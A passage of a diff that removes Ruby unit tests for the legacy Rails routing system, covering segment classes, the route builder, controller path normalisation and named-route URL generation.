-  def test_interpolation_statement
-    s = ROUTING::StaticSegment.new("Hello")
-    assert_equal "Hello", eval(s.interpolation_statement([]))
-    assert_equal "HelloHello", eval(s.interpolation_statement([s]))
-
-    s2 = ROUTING::StaticSegment.new("-")
-    assert_equal "Hello-Hello", eval(s.interpolation_statement([s, s2]))
-
-    s3 = ROUTING::StaticSegment.new("World")
-    assert_equal "Hello-World", eval(s3.interpolation_statement([s, s2]))
-  end
-end
-
-class StaticSegmentTest < Test::Unit::TestCase
-  def test_interpolation_chunk_should_respect_raw
-    s = ROUTING::StaticSegment.new('Hello World')
-    assert !s.raw?
-    assert_equal 'Hello%20World', s.interpolation_chunk
-
-    s = ROUTING::StaticSegment.new('Hello World', :raw => true)
-    assert s.raw?
-    assert_equal 'Hello World', s.interpolation_chunk
-  end
-
-  def test_regexp_chunk_should_escape_specials
-    s = ROUTING::StaticSegment.new('Hello*World')
-    assert_equal 'Hello\*World', s.regexp_chunk
-
-    s = ROUTING::StaticSegment.new('HelloWorld')
-    assert_equal 'HelloWorld', s.regexp_chunk
-  end
-
-  def test_regexp_chunk_should_add_question_mark_for_optionals
-    s = ROUTING::StaticSegment.new("/", :optional => true)
-    assert_equal "/?", s.regexp_chunk
-
-    s = ROUTING::StaticSegment.new("hello", :optional => true)
-    assert_equal "(?:hello)?", s.regexp_chunk
-  end
-end
-
-class DynamicSegmentTest < ActiveSupport::TestCase
-  def setup
-    @segment = nil
-  end
-
-  def segment(options = {})
-    unless @segment
-      @segment = ROUTING::DynamicSegment.new(:a, options)
-    end
-    @segment
-  end
-
-  def test_extract_value
-    s = ROUTING::DynamicSegment.new(:a)
-
-    hash = {:a => '10', :b => '20'}
-    assert_equal '10', eval(s.extract_value)
-
-    hash = {:b => '20'}
-    assert_equal nil, eval(s.extract_value)
-
-    s.default = '20'
-    assert_equal '20', eval(s.extract_value)
-  end
-
-  def test_default_local_name
-    assert_equal 'a_value', segment.local_name,
-      "Unexpected name -- all value_check tests will fail!"
-  end
-
-  def test_presence_value_check
-    a_value = 10
-    assert eval(segment.value_check)
-  end
-
-  def test_regexp_value_check_rejects_nil
-    segment = segment(:regexp => /\d+/)
-
-    a_value = nil
-    assert !eval(segment.value_check)
-  end
-
-  def test_optional_regexp_value_check_should_accept_nil
-    segment = segment(:regexp => /\d+/, :optional => true)
-
-    a_value = nil
-    assert eval(segment.value_check)
-  end
-
-  def test_regexp_value_check_rejects_no_match
-    segment = segment(:regexp => /\d+/)
-
-    a_value = "Hello20World"
-    assert !eval(segment.value_check)
-
-    a_value = "20Hi"
-    assert !eval(segment.value_check)
-  end
-
-  def test_regexp_value_check_accepts_match
-    segment = segment(:regexp => /\d+/)
-    a_value = "30"
-    assert eval(segment.value_check)
-  end
-
-  def test_value_check_fails_on_nil
-    a_value = nil
-    assert ! eval(segment.value_check)
-  end
-
-  def test_optional_value_needs_no_check
-    segment = segment(:optional => true)
-
-    a_value = nil
-    assert_equal nil, segment.value_check
-  end
-
-  def test_regexp_value_check_should_accept_match_with_default
-    segment = segment(:regexp => /\d+/, :default => '200')
-
-    a_value = '100'
-    assert eval(segment.value_check)
-  end
-
-  def test_expiry_should_not_trigger_once_expired
-    expired = true
-    hash = merged = {:a => 2, :b => 3}
-    options = {:b => 3}
-    expire_on = Hash.new { raise 'No!!!' }
-
-    eval(segment.expiry_statement)
-  rescue RuntimeError
-    flunk "Expiry check should not have occurred!"
-  end
-
-  def test_expiry_should_occur_according_to_expire_on
-    expired = false
-    hash = merged = {:a => 2, :b => 3}
-    options = {:b => 3}
-
-    expire_on = {:b => true, :a => false}
-    eval(segment.expiry_statement)
-    assert !expired
-    assert_equal({:a => 2, :b => 3}, hash)
-
-    expire_on = {:b => true, :a => true}
-    eval(segment.expiry_statement)
-    assert expired
-    assert_equal({:b => 3}, hash)
-  end
-
-  def test_extraction_code_should_return_on_nil
-    hash = merged = {:b => 3}
-    options = {:b => 3}
-    a_value = nil
-
-    # Local jump because of return inside eval.
-    assert_raise(LocalJumpError) { eval(segment.extraction_code) }
-  end
-
-  def test_extraction_code_should_return_on_mismatch
-    segment = segment(:regexp => /\d+/)
-    hash = merged = {:a => 'Hi', :b => '3'}
-    options = {:b => '3'}
-    a_value = nil
-
-    # Local jump because of return inside eval.
-    assert_raise(LocalJumpError) { eval(segment.extraction_code) }
-  end
-
-  def test_extraction_code_should_accept_value_and_set_local
-    hash = merged = {:a => 'Hi', :b => '3'}
-    options = {:b => '3'}
-    a_value = nil
-    expired = true
-
-    eval(segment.extraction_code)
-    assert_equal 'Hi', a_value
-  end
-
-  def test_extraction_should_work_without_value_check
-    segment.default = 'hi'
-    hash = merged = {:b => '3'}
-    options = {:b => '3'}
-    a_value = nil
-    expired = true
-
-    eval(segment.extraction_code)
-    assert_equal 'hi', a_value
-  end
-
-  def test_extraction_code_should_perform_expiry
-    expired = false
-    hash = merged = {:a => 'Hi', :b => '3'}
-    options = {:b => '3'}
-    expire_on = {:a => true}
-    a_value = nil
-
-    eval(segment.extraction_code)
-    assert_equal 'Hi', a_value
-    assert expired
-    assert_equal options, hash
-  end
-
-  def test_interpolation_chunk_should_replace_value
-    a_value = 'Hi'
-    assert_equal a_value, eval(%("#{segment.interpolation_chunk}"))
-  end
-
-  def test_interpolation_chunk_should_accept_nil
-    a_value = nil
-    assert_equal '', eval(%("#{segment.interpolation_chunk('a_value')}"))
-  end
-
-  def test_value_regexp_should_be_nil_without_regexp
-    assert_equal nil, segment.value_regexp
-  end
-
-  def test_value_regexp_should_match_exacly
-    segment = segment(:regexp => /\d+/)
-    assert_no_match segment.value_regexp, "Hello 10 World"
-    assert_no_match segment.value_regexp, "Hello 10"
-    assert_no_match segment.value_regexp, "10 World"
-    assert_match segment.value_regexp, "10"
-  end
-
-  def test_regexp_chunk_should_return_string
-    segment = segment(:regexp => /\d+/)
-    assert_kind_of String, segment.regexp_chunk
-  end
-
-  def test_build_pattern_non_optional_with_no_captures
-    # Non optional
-    a_segment = ROUTING::DynamicSegment.new(nil, :regexp => /\d+/)
-    assert_equal "(\\d+)stuff", a_segment.build_pattern('stuff')
-  end
-
-  def test_build_pattern_non_optional_with_captures
-    # Non optional
-    a_segment = ROUTING::DynamicSegment.new(nil, :regexp => /(\d+)(.*?)/)
-    assert_equal "((\\d+)(.*?))stuff", a_segment.build_pattern('stuff')
-  end
-
-  def test_optionality_implied
-    a_segment = ROUTING::DynamicSegment.new(:id)
-    assert a_segment.optionality_implied?
-
-    a_segment = ROUTING::DynamicSegment.new(:action)
-    assert a_segment.optionality_implied?
-  end
-
-  def test_modifiers_must_be_handled_sensibly
-    a_segment = ROUTING::DynamicSegment.new(nil, :regexp => /david|jamis/i)
-    assert_equal "((?i-mx:david|jamis))stuff", a_segment.build_pattern('stuff')
-    a_segment = ROUTING::DynamicSegment.new(nil, :regexp =>  /david|jamis/x)
-    assert_equal "((?x-mi:david|jamis))stuff", a_segment.build_pattern('stuff')
-    a_segment = ROUTING::DynamicSegment.new(nil, :regexp => /david|jamis/)
-    assert_equal "(david|jamis)stuff", a_segment.build_pattern('stuff')
-  end
-end
-
-class ControllerSegmentTest < Test::Unit::TestCase
-  def test_regexp_should_only_match_possible_controllers
-    ActionController::Routing.with_controllers %w(admin/accounts admin/users account pages) do
-      cs = ROUTING::ControllerSegment.new :controller
-      regexp = %r{\A#{cs.regexp_chunk}\Z}
-
-      ActionController::Routing.possible_controllers.each do |name|
-        assert_match regexp, name
-        assert_no_match regexp, "#{name}_fake"
-
-        match = regexp.match name
-        assert_equal name, match[1]
-      end
-    end
-  end
-end
-
-class PathSegmentTest < ActiveSupport::TestCase
-  def setup
-    @segment = nil
-  end
-
-  def segment(options = {})
-    unless @segment
-      @segment = ROUTING::PathSegment.new(:path, options)
-    end
-    @segment
-  end
-
-  def test_regexp_chunk_should_return_string
-    segment = segment(:regexp => /[a-z]+/)
-    assert_kind_of String, segment.regexp_chunk
-  end
-
-  def test_regexp_chunk_should_be_wrapped_with_parenthesis
-    segment = segment(:regexp => /[a-z]+/)
-    assert_equal "([a-z]+)", segment.regexp_chunk
-  end
-
-  def test_regexp_chunk_should_respect_options
-    segment = segment(:regexp => /[a-z]+/i)
-    assert_equal "((?i-mx:[a-z]+))", segment.regexp_chunk
-  end
-end
-
-class RouteBuilderTest < Test::Unit::TestCase
-  def builder
-    @builder ||= ROUTING::RouteBuilder.new
-  end
-
-  def build(path, options)
-    builder.build(path, options)
-  end
-
-  def test_options_should_not_be_modified
-    requirements1 = { :id => /\w+/, :controller => /(?:[a-z](?:-?[a-z]+)*)/ }
-    requirements2 = requirements1.dup
-
-    assert_equal requirements1, requirements2
-
-    with_options(:controller => 'folder',
-                 :requirements => requirements2) do |m|
-      m.build 'folders/new', :action => 'new'
-    end
-
-    assert_equal requirements1, requirements2
-  end
-
-  def test_segment_for_static
-    segment, rest = builder.segment_for 'ulysses'
-    assert_equal '', rest
-    assert_kind_of ROUTING::StaticSegment, segment
-    assert_equal 'ulysses', segment.value
-  end
-
-  def test_segment_for_action
-    segment, rest = builder.segment_for ':action'
-    assert_equal '', rest
-    assert_kind_of ROUTING::DynamicSegment, segment
-    assert_equal :action, segment.key
-    assert_equal 'index', segment.default
-  end
-
-  def test_segment_for_dynamic
-    segment, rest = builder.segment_for ':login'
-    assert_equal '', rest
-    assert_kind_of ROUTING::DynamicSegment, segment
-    assert_equal :login, segment.key
-    assert_equal nil, segment.default
-    assert ! segment.optional?
-  end
-
-  def test_segment_for_with_rest
-    segment, rest = builder.segment_for ':login/:action'
-    assert_equal :login, segment.key
-    assert_equal '/:action', rest
-    segment, rest = builder.segment_for rest
-    assert_equal '/', segment.value
-    assert_equal ':action', rest
-    segment, rest = builder.segment_for rest
-    assert_equal :action, segment.key
-    assert_equal '', rest
-  end
-
-  def test_segments_for
-    segments = builder.segments_for_route_path '/:controller/:action/:id'
-
-    assert_kind_of ROUTING::DividerSegment, segments[0]
-    assert_equal '/', segments[2].value
-
-    assert_kind_of ROUTING::DynamicSegment, segments[1]
-    assert_equal :controller, segments[1].key
-
-    assert_kind_of ROUTING::DividerSegment, segments[2]
-    assert_equal '/', segments[2].value
-
-    assert_kind_of ROUTING::DynamicSegment, segments[3]
-    assert_equal :action, segments[3].key
-
-    assert_kind_of ROUTING::DividerSegment, segments[4]
-    assert_equal '/', segments[4].value
-
-    assert_kind_of ROUTING::DynamicSegment, segments[5]
-    assert_equal :id, segments[5].key
-  end
-
-  def test_segment_for_action
-    s, r = builder.segment_for(':action/something/else')
-    assert_equal '/something/else', r
-    assert_equal :action, s.key
-  end
-
-  def test_action_default_should_not_trigger_on_prefix
-    s, r = builder.segment_for ':action_name/something/else'
-    assert_equal '/something/else', r
-    assert_equal :action_name, s.key
-    assert_equal nil, s.default
-  end
-
-  def test_divide_route_options
-    segments = builder.segments_for_route_path '/cars/:action/:person/:car/'
-    defaults, requirements = builder.divide_route_options(segments,
-      :action => 'buy', :person => /\w+/, :car => /\w+/,
-      :defaults => {:person => nil, :car => nil}
-    )
-
-    assert_equal({:action => 'buy', :person => nil, :car => nil}, defaults)
-    assert_equal({:person => /\w+/, :car => /\w+/}, requirements)
-  end
-
-  def test_assign_route_options
-    segments = builder.segments_for_route_path '/cars/:action/:person/:car/'
-    defaults = {:action => 'buy', :person => nil, :car => nil}
-    requirements = {:person => /\w+/, :car => /\w+/}
-
-    route_requirements = builder.assign_route_options(segments, defaults, requirements)
-    assert_equal({}, route_requirements)
-
-    assert_equal :action, segments[3].key
-    assert_equal 'buy', segments[3].default
-
-    assert_equal :person, segments[5].key
-    assert_equal %r/\w+/, segments[5].regexp
-    assert segments[5].optional?
-
-    assert_equal :car, segments[7].key
-    assert_equal %r/\w+/, segments[7].regexp
-    assert segments[7].optional?
-  end
-
-  def test_assign_route_options_with_anchor_chars
-    segments = builder.segments_for_route_path '/cars/:action/:person/:car/'
-    defaults = {:action => 'buy', :person => nil, :car => nil}
-    requirements = {:person => /\w+/, :car => /^\w+$/}
-
-    assert_raise ArgumentError do
-      route_requirements = builder.assign_route_options(segments, defaults, requirements)
-    end
-
-    requirements[:car] = /[^\/]+/
-    route_requirements = builder.assign_route_options(segments, defaults, requirements)
-  end
-
-  def test_optional_segments_preceding_required_segments
-    segments = builder.segments_for_route_path '/cars/:action/:person/:car/'
-    defaults = {:action => 'buy', :person => nil, :car => "model-t"}
-    assert builder.assign_route_options(segments, defaults, {}).empty?
-
-    0.upto(1) { |i| assert !segments[i].optional?, "segment #{i} is optional and it shouldn't be" }
-    assert segments[2].optional?
-
-    assert_equal nil, builder.warn_output # should only warn on the :person segment
-  end
-
-  def test_segmentation_of_dot_path
-    segments = builder.segments_for_route_path '/books/:action.rss'
-    assert builder.assign_route_options(segments, {}, {}).empty?
-    assert_equal 6, segments.length # "/", "books", "/", ":action", ".", "rss"
-    assert !segments.any? { |seg| seg.optional? }
-  end
-
-  def test_segmentation_of_dynamic_dot_path
-    segments = builder.segments_for_route_path '/books/:action.:format'
-    assert builder.assign_route_options(segments, {}, {}).empty?
-    assert_equal 6, segments.length # "/", "books", "/", ":action", ".", ":format"
-    assert !segments.any? { |seg| seg.optional? }
-    assert_kind_of ROUTING::DynamicSegment, segments.last
-  end
-
-  def test_assignment_of_default_options
-    segments = builder.segments_for_route_path '/:controller/:action/:id/'
-    action, id = segments[-4], segments[-2]
-
-    assert_equal :action, action.key
-    assert_equal :id, id.key
-    assert ! action.optional?
-    assert ! id.optional?
-
-    builder.assign_default_route_options(segments)
-
-    assert_equal 'index', action.default
-    assert action.optional?
-    assert id.optional?
-  end
-
-  def test_assignment_of_default_options_respects_existing_defaults
-    segments = builder.segments_for_route_path '/:controller/:action/:id/'
-    action, id = segments[-4], segments[-2]
-
-    assert_equal :action, action.key
-    assert_equal :id, id.key
-    action.default = 'show'
-    action.is_optional = true
-
-    id.default = 'Welcome'
-    id.is_optional = true
-
-    builder.assign_default_route_options(segments)
-
-    assert_equal 'show', action.default
-    assert action.optional?
-    assert_equal 'Welcome', id.default
-    assert id.optional?
-  end
-
-  def test_assignment_of_default_options_respects_regexps
-    segments = builder.segments_for_route_path '/:controller/:action/:id/'
-    action = segments[-4]
-
-    assert_equal :action, action.key
-    segments[-4] = ROUTING::DynamicSegment.new(:action, :regexp => /show|in/)
-
-    builder.assign_default_route_options(segments)
-
-    assert_equal nil, action.default
-    assert ! action.optional?
-  end
-
-  def test_assignment_of_is_optional_when_default
-    segments = builder.segments_for_route_path '/books/:action.rss'
-    assert_equal segments[3].key, :action
-    segments[3].default = 'changes'
-    builder.ensure_required_segments(segments)
-    assert ! segments[3].optional?
-  end
-
-  def test_is_optional_is_assigned_to_default_segments
-    segments = builder.segments_for_route_path '/books/:action'
-    builder.assign_route_options(segments, {:action => 'index'}, {})
-
-    assert_equal segments[3].key, :action
-    assert segments[3].optional?
-    assert_kind_of ROUTING::DividerSegment, segments[2]
-    assert segments[2].optional?
-  end
-
-  # XXX is optional not being set right?
-  # /blah/:defaulted_segment <-- is the second slash optional? it should be.
-
-  def test_route_build
-    ActionController::Routing.with_controllers %w(users pages) do
-      r = builder.build '/:controller/:action/:id/', :action => nil
-
-      [0, 2, 4].each do |i|
-        assert_kind_of ROUTING::DividerSegment, r.segments[i]
-        assert_equal '/', r.segments[i].value
-        assert r.segments[i].optional? if i > 1
-      end
-
-      assert_kind_of ROUTING::DynamicSegment, r.segments[1]
-      assert_equal :controller, r.segments[1].key
-      assert_equal nil, r.segments[1].default
-
-      assert_kind_of ROUTING::DynamicSegment, r.segments[3]
-      assert_equal :action, r.segments[3].key
-      assert_equal 'index', r.segments[3].default
-
-      assert_kind_of ROUTING::DynamicSegment, r.segments[5]
-      assert_equal :id, r.segments[5].key
-      assert r.segments[5].optional?
-    end
-  end
-
-  def test_slashes_are_implied
-    routes = [
-      builder.build('/:controller/:action/:id/', :action => nil),
-      builder.build('/:controller/:action/:id', :action => nil),
-      builder.build(':controller/:action/:id', :action => nil),
-      builder.build('/:controller/:action/:id/', :action => nil)
-    ]
-    expected = routes.first.segments.length
-    routes.each_with_index do |route, i|
-      found = route.segments.length
-      assert_equal expected, found, "Route #{i + 1} has #{found} segments, expected #{expected}"
-    end
-  end
-end
-
-class RoutingTest < Test::Unit::TestCase
-  def test_possible_controllers
-    true_controller_paths = ActionController::Routing.controller_paths
-
-    ActionController::Routing.use_controllers! nil
-
-    silence_warnings do
-      Object.send(:const_set, :RAILS_ROOT, File.dirname(__FILE__) + '/controller_fixtures')
-    end
-
-    ActionController::Routing.controller_paths = [
-      RAILS_ROOT, RAILS_ROOT + '/app/controllers', RAILS_ROOT + '/vendor/plugins/bad_plugin/lib'
-    ]
-
-    assert_equal ["admin/user", "plugin", "user"], ActionController::Routing.possible_controllers.sort
-  ensure
-    if true_controller_paths
-      ActionController::Routing.controller_paths = true_controller_paths
-    end
-    ActionController::Routing.use_controllers! nil
-    Object.send(:remove_const, :RAILS_ROOT) rescue nil
-  end
-
-  def test_possible_controllers_are_reset_on_each_load
-    true_possible_controllers = ActionController::Routing.possible_controllers
-    true_controller_paths = ActionController::Routing.controller_paths
-
-    ActionController::Routing.use_controllers! nil
-    root = File.dirname(__FILE__) + '/controller_fixtures'
-
-    ActionController::Routing.controller_paths = []
-    assert_equal [], ActionController::Routing.possible_controllers
-
-    ActionController::Routing.controller_paths = [
-      root, root + '/app/controllers', root + '/vendor/plugins/bad_plugin/lib'
-    ]
-    ActionController::Routing::Routes.load!
-
-    assert_equal ["admin/user", "plugin", "user"], ActionController::Routing.possible_controllers.sort
-  ensure
-    ActionController::Routing.controller_paths = true_controller_paths
-    ActionController::Routing.use_controllers! true_possible_controllers
-    Object.send(:remove_const, :RAILS_ROOT) rescue nil
-
-    ActionController::Routing::Routes.clear!
-    ActionController::Routing::Routes.load_routes!
-  end
-
-  def test_with_controllers
-    c = %w(admin/accounts admin/users account pages)
-    ActionController::Routing.with_controllers c do
-      assert_equal c, ActionController::Routing.possible_controllers
-    end
-  end
-
-  def test_normalize_unix_paths
-    load_paths = %w(. config/../app/controllers config/../app//helpers script/../config/../vendor/rails/actionpack/lib vendor/rails/railties/builtin/rails_info app/models lib script/../config/../foo/bar/../../app/models .foo/../.bar foo.bar/../config)
-    paths = ActionController::Routing.normalize_paths(load_paths)
-    assert_equal %w(vendor/rails/railties/builtin/rails_info vendor/rails/actionpack/lib app/controllers app/helpers app/models config .bar lib .), paths
-  end
-
-  def test_normalize_windows_paths
-    load_paths = %w(. config\\..\\app\\controllers config\\..\\app\\\\helpers script\\..\\config\\..\\vendor\\rails\\actionpack\\lib vendor\\rails\\railties\\builtin\\rails_info app\\models lib script\\..\\config\\..\\foo\\bar\\..\\..\\app\\models .foo\\..\\.bar foo.bar\\..\\config)
-    paths = ActionController::Routing.normalize_paths(load_paths)
-    assert_equal %w(vendor\\rails\\railties\\builtin\\rails_info vendor\\rails\\actionpack\\lib app\\controllers app\\helpers app\\models config .bar lib .), paths
-  end
-
-  def test_routing_helper_module
-    assert_kind_of Module, ActionController::Routing::Helpers
-
-    h = ActionController::Routing::Helpers
-    c = Class.new
-    assert ! c.ancestors.include?(h)
-    ActionController::Routing::Routes.install_helpers c
-    assert c.ancestors.include?(h)
-  end
-end
-
-class MockController
-  attr_accessor :routes
-
-  def initialize(routes)
-    self.routes = routes
-  end
-
-  def url_for(options)
-    only_path = options.delete(:only_path)
-
-    port        = options.delete(:port) || 80
-    port_string = port == 80 ? '' : ":#{port}"
-
-    protocol = options.delete(:protocol) || "http"
-    host     = options.delete(:host) || "test.host"
-    anchor   = "##{options.delete(:anchor)}" if options.key?(:anchor)
-
-    path = routes.generate(options)
-
-    only_path ? "#{path}#{anchor}" : "#{protocol}://#{host}#{port_string}#{path}#{anchor}"
-  end
-
-  def request
-    @request ||= ActionController::TestRequest.new
-  end
-end
-
-class LegacyRouteSetTests < ActiveSupport::TestCase
-  attr_reader :rs
-
-  def setup
-    # These tests assume optimisation is on, so re-enable it.
-    ActionController::Base.optimise_named_routes = true
-
-    @rs = ::ActionController::Routing::RouteSet.new
-
-    ActionController::Routing.use_controllers! %w(content admin/user admin/news_feed)
-  end
-
-  def teardown
-    @rs.clear!
-  end
-
-  def test_routes_for_controller_and_action_deprecated
-    assert_deprecated { @rs.routes_for_controller_and_action("controller", "action") }
-  end
-
-  def test_default_setup
-    @rs.draw {|m| m.connect ':controller/:action/:id' }
-    assert_equal({:controller => "content", :action => 'index'}, rs.recognize_path("/content"))
-    assert_equal({:controller => "content", :action => 'list'}, rs.recognize_path("/content/list"))
-    assert_equal({:controller => "content", :action => 'show', :id => '10'}, rs.recognize_path("/content/show/10"))
-
-    assert_equal({:controller => "admin/user", :action => 'show', :id => '10'}, rs.recognize_path("/admin/user/show/10"))
-
-    assert_equal '/admin/user/show/10', rs.generate(:controller => 'admin/user', :action => 'show', :id => 10)
-
-    assert_equal '/admin/user/show', rs.generate({:action => 'show'}, {:controller => 'admin/user', :action => 'list', :id => '10'})
-    assert_equal '/admin/user/list/10', rs.generate({}, {:controller => 'admin/user', :action => 'list', :id => '10'})
-
-    assert_equal '/admin/stuff', rs.generate({:controller => 'stuff'}, {:controller => 'admin/user', :action => 'list', :id => '10'})
-    assert_equal '/stuff', rs.generate({:controller => '/stuff'}, {:controller => 'admin/user', :action => 'list', :id => '10'})
-  end
-
-  def test_ignores_leading_slash
-    @rs.clear!
-    @rs.draw {|m| m.connect '/:controller/:action/:id'}
-    test_default_setup
-  end
-
-  def test_time_recognition
-    # We create many routes to make situation more realistic
-    @rs = ::ActionController::Routing::RouteSet.new
-    @rs.draw { |map|
-      map.frontpage '', :controller => 'search', :action => 'new'
-      map.resources :videos do |video|
-        video.resources :comments
-        video.resource  :file,      :controller => 'video_file'
-        video.resource  :share,     :controller => 'video_shares'
-        video.resource  :abuse,     :controller => 'video_abuses'
-      end
-      map.resources :abuses, :controller => 'video_abuses'
-      map.resources :video_uploads
-      map.resources :video_visits
-
-      map.resources :users do |user|
-        user.resource  :settings
-        user.resources :videos
-      end
-      map.resources :channels do |channel|
-        channel.resources :videos, :controller => 'channel_videos'
-      end
-      map.resource  :session
-      map.resource  :lost_password
-      map.search    'search', :controller => 'search'
-      map.resources :pages
-      map.connect ':controller/:action/:id'
-    }
-    n = 1000
-    if RunTimeTests
-      GC.start
-      rectime = Benchmark.realtime do
-        n.times do
-          rs.recognize_path("/videos/1234567", {:method => :get})
-          rs.recognize_path("/videos/1234567/abuse", {:method => :get})
-          rs.recognize_path("/users/1234567/settings", {:method => :get})
-          rs.recognize_path("/channels/1234567", {:method => :get})
-          rs.recognize_path("/session/new", {:method => :get})
-          rs.recognize_path("/admin/user/show/10", {:method => :get})
-        end
-      end
-      puts "\n\nRecognition (#{rs.routes.size} routes):"
-      per_url = rectime / (n * 6)
-      puts "#{per_url * 1000} ms/url"
-      puts "#{1 / per_url} url/s\n\n"
-    end
-  end
-
-  def test_time_generation
-    n = 5000
-    if RunTimeTests
-      GC.start
-      pairs = [
-        [{:controller => 'content', :action => 'index'}, {:controller => 'content', :action => 'show'}],
-        [{:controller => 'content'}, {:controller => 'content', :action => 'index'}],
-        [{:controller => 'content', :action => 'list'}, {:controller => 'content', :action => 'index'}],
-        [{:controller => 'content', :action => 'show', :id => '10'}, {:controller => 'content', :action => 'list'}],
-        [{:controller => 'admin/user', :action => 'index'}, {:controller => 'admin/user', :action => 'show'}],
-        [{:controller => 'admin/user'}, {:controller => 'admin/user', :action => 'index'}],
-        [{:controller => 'admin/user', :action => 'list'}, {:controller => 'admin/user', :action => 'index'}],
-        [{:controller => 'admin/user', :action => 'show', :id => '10'}, {:controller => 'admin/user', :action => 'list'}],
-      ]
-      p = nil
-      gentime = Benchmark.realtime do
-        n.times do
-        pairs.each {|(a, b)| rs.generate(a, b)}
-        end
-      end
-
-      puts "\n\nGeneration (RouteSet): (#{(n * 8)} urls)"
-      per_url = gentime / (n * 8)
-      puts "#{per_url * 1000} ms/url"
-      puts "#{1 / per_url} url/s\n\n"
-    end
-  end
-
-  def test_route_with_colon_first
-    rs.draw do |map|
-      map.connect '/:controller/:action/:id', :action => 'index', :id => nil
-      map.connect ':url', :controller => 'tiny_url', :action => 'translate'
-    end
-  end
-
-  def test_route_with_regexp_for_controller
-    rs.draw do |map|
-      map.connect ':controller/:admintoken/:action/:id', :controller => /admin\/.+/
-      map.connect ':controller/:action/:id'
-    end
-    assert_equal({:controller => "admin/user", :admintoken => "foo", :action => "index"},
-        rs.recognize_path("/admin/user/foo"))
-    assert_equal({:controller => "content", :action => "foo"}, rs.recognize_path("/content/foo"))
-    assert_equal '/admin/user/foo', rs.generate(:controller => "admin/user", :admintoken => "foo", :action => "index")
-    assert_equal '/content/foo', rs.generate(:controller => "content", :action => "foo")
-  end
-
-  def test_route_with_regexp_and_captures_for_controller
-    rs.draw do |map|
-      map.connect ':controller/:action/:id', :controller => /admin\/(accounts|users)/
-    end
-    assert_equal({:controller => "admin/accounts", :action => "index"}, rs.recognize_path("/admin/accounts"))
-    assert_equal({:controller => "admin/users", :action => "index"}, rs.recognize_path("/admin/users"))
-    assert_raise(ActionController::RoutingError) { rs.recognize_path("/admin/products") }
-  end
-
-  def test_route_with_regexp_and_dot
-    rs.draw do |map|
-      map.connect ':controller/:action/:file',
-                        :controller => /admin|user/,
-                        :action => /upload|download/,
-                        :defaults => {:file => nil},
-                        :requirements => {:file => %r{[^/]+(\.[^/]+)?}}
-    end
-    # Without a file extension
-    assert_equal '/user/download/file',
-      rs.generate(:controller => "user", :action => "download", :file => "file")
-    assert_equal(
-      {:controller => "user", :action => "download", :file => "file"},
-      rs.recognize_path("/user/download/file"))
-
-    # Now, let's try a file with an extension, really a dot (.)
-    assert_equal '/user/download/file.jpg',
-      rs.generate(
-        :controller => "user", :action => "download", :file => "file.jpg")
-    assert_equal(
-      {:controller => "user", :action => "download", :file => "file.jpg"},
-      rs.recognize_path("/user/download/file.jpg"))
-  end
-
-  def test_basic_named_route
-    rs.add_named_route :home, '', :controller => 'content', :action => 'list'
-    x = setup_for_named_route
-    assert_equal("http://test.host/",
-                 x.send(:home_url))
-  end
-
-  def test_basic_named_route_with_relative_url_root
-    rs.add_named_route :home, '', :controller => 'content', :action => 'list'
-    x = setup_for_named_route
-    ActionController::Base.relative_url_root = "/foo"
-    assert_equal("http://test.host/foo/",
-                 x.send(:home_url))
-    assert_equal "/foo/", x.send(:home_path)
-    ActionController::Base.relative_url_root = nil
-  end
-
-  def test_named_route_with_option
-    rs.add_named_route :page, 'page/:title', :controller => 'content', :action => 'show_page'
-    x = setup_for_named_route
-    assert_equal("http://test.host/page/new%20stuff",
-                 x.send(:page_url, :title => 'new stuff'))
-  end
-
-  def test_named_route_with_default
-    rs.add_named_route :page, 'page/:title', :controller => 'content', :action => 'show_page', :title => 'AboutPage'
-    x = setup_for_named_route
-    assert_equal("http://test.host/page/AboutRails",
-                 x.send(:page_url, :title => "AboutRails"))
-
-  end
-
-  def test_named_route_with_name_prefix
-    rs.add_named_route :page, 'page', :controller => 'content', :action => 'show_page', :name_prefix => 'my_'
-    x = setup_for_named_route
-    assert_equal("http://test.host/page",
-                 x.send(:my_page_url))
-  end
-
-  def test_named_route_with_path_prefix
-    rs.add_named_route :page, 'page', :controller => 'content', :action => 'show_page', :path_prefix => 'my'
-    x = setup_for_named_route
-    assert_equal("http://test.host/my/page",
-                 x.send(:page_url))
-  end
-
-  def test_named_route_with_blank_path_prefix
-    rs.add_named_route :page, 'page', :controller => 'content', :action => 'show_page', :path_prefix => ''
-    x = setup_for_named_route
-    assert_equal("http://test.host/page",
-                 x.send(:page_url))
-  end
-
-  def test_named_route_with_nested_controller
-    rs.add_named_route :users, 'admin/user', :controller => 'admin/user', :action => 'index'
-    x = setup_for_named_route
-    assert_equal("http://test.host/admin/user",
-                 x.send(:users_url))
-  end
-
-  def test_optimised_named_route_call_never_uses_url_for
-    rs.add_named_route :users, 'admin/user', :controller => '/admin/user', :action => 'index'
-    rs.add_named_route :user, 'admin/user/:id', :controller=>'/admin/user', :action=>'show'
-    x = setup_for_named_route
-    x.expects(:url_for).never
-    x.send(:users_url)
-    x.send(:users_path)
-    x.send(:user_url, 2, :foo=>"bar")
-    x.send(:user_path, 3, :bar=>"foo")
-  end
-
-  def test_optimised_named_route_with_host
-    rs.add_named_route :pages, 'pages', :controller => 'content', :action => 'show_page', :host => 'foo.com'
-    x = setup_for_named_route
-    x.expects(:url_for).with(:host => 'foo.com', :only_path => false, :controller => 'content', :action => 'show_page', :use_route => :pages).once
-    x.send(:pages_url)
-  end
-
-  def setup_for_named_route
-    klass = Class.new(MockController)
-    rs.install_helpers(klass)
-    klass.new(rs)
-  end
-
-  def test_named_route_without_hash
-    rs.draw do |map|
-      map.normal ':controller/:action/:id'
-    end
-  end
-
-  def test_named_route_root
-    rs.draw do |map|
-      map.root :controller => "hello"
-    end
-    x = setup_for_named_route
-    assert_equal("http://test.host/", x.send(:root_url))
-    assert_equal("/", x.send(:root_path))
-  end
-
-  def test_named_route_with_regexps
-    rs.draw do |map|
-      map.article 'page/:year/:month/:day/:title', :controller => 'page', :action => 'show',
-        :year => /\d+/, :month => /\d+/, :day => /\d+/
-      map.connect ':controller/:action/:id'
-    end
-    x = setup_for_named_route
-    # assert_equal(
-    #   {:controller => 'page', :action => 'show', :title => 'hi', :use_route => :article, :only_path => false},
-    #   x.send(:article_url, :title => 'hi')
-    # )
-    assert_equal(
-      "http://test.host/page/2005/6/10/hi",
-      x.send(:article_url, :title => 'hi', :day => 10, :year => 2005, :month => 6)
-    )
-  end
-
-  def test_changing_controller
-    @rs.draw {|m| m.connect ':controller/:action/:id' }
-
-    assert_equal '/admin/stuff/show/10', rs.generate(
-      {:controller => 'stuff', :action => 'show', :id => 10},
